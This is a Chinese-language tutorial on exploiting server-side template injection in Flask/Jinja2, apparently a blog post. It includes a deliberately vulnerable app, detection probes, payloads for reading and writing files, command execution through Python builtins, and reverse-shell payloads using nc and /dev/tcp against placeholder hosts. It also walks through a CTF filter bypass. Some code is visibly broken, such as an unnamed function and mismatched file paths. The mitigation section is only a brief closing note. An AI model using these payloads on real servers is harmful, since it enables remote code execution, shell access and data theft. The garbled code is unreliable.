0x00 前言
服务端模板注入(SSTI)攻击,可以看看James Kettle写的这篇文章。
flask出现模板注入原因主要还是因为使用了render_template_string函数
0x01 环境搭建
test.py1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19from flask import Flask,render_template,config,render_template_string,request
from Config import Config
app = Flask(__name__)
app.config['SECRET_KEY'] = "flag{SSTI_123456}"
@app.errorhandler(404)
def (e):
template = '''
Oops! That page doesn't exist.
%s
''' %(request.url)
return render_template_string(template)
if __name__=='__main__':`
app.run('0.0.0.0',9999,debug=True)
0x02 检测注入1
2http://localhost:8888/{{ 7*7 }}
#http://localhost:8888/%7B%7B7*7%7D%7D
导出config变量1http://localhost:8888/{{config.items()}}
导出类1http://localhost:8888/{{''.__class__.__mro__[2].__subclasses__()}}
0x03 漏洞利用python2 和python3 有不同,这里测试的是python2,python3的类每次位置会变
文件操作
能够执行代码,就能够完成很多事情,接下来,我们将写入一个webshell。之后的知识涉及沙箱逃逸和反弹shell
python2:1
2
3
4#写
{{ ''.__class__.__mro__[2].__subclasses__()[40]('D:flag', 'w').write('1234123') }}
#读
{{ ''.__class__.__mro__[2].__subclasses__()[40]('D:flag').read() }}
执行命令1
2
3
4
5
6
7
8''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__
下有eval,__import__等的全局函数,可以利用此来执行命令:
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")
#__import__
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()
反弹shell1
2
3
4
5
6
7
8
9
10
11
12# 写入文件
payload 1 ::
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evil', 'w').write('from os import system%0aCMD = system') }}
payload 2 ::
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evil', 'w').write('from subprocess import check_output%0aRUNCMD=check_output') }}
# 利用 config.from_pyfile 加载文件
{{ config.from_pyfile('/tmp/shaobao') }}
# 反弹shell ; 提供两种方法;对应上的两个文件
payload1 ::
{{ config['CMD']('nc xxxxxx 5555 -e /bin/sh') }}
payload2 ::
{{ config['RUNCMD']('bash -i >& /dev/tcp/xxxx/5555 0>&1',shell=True) }}
如果过滤了’(‘,’)’,例如TokyoWesterns CTF 4th 2018 - Shrine1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return '
'.join(['{{% set {}=None%}}'.format(c) for c in blacklist])+s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)1
2
3
4
5def __repr__(self):
top = _app_ctx_stack.top
if top is not None:
return '' % top.app.name
return object.__repr__(self)
payload:
g.__repr__.__func__.__globals__._app_ctx_stack.top.app.name.config
该func属性将为我们提供由方法运行的函数(方法是一个函数加上它所属的类的引用,我认为
0x05 防范与总结不提倡使用 render_template_string()
一般开发者都会将模板内容写入固定文件夹templates规范模板渲染,按照Jinja2的官方文档
Referer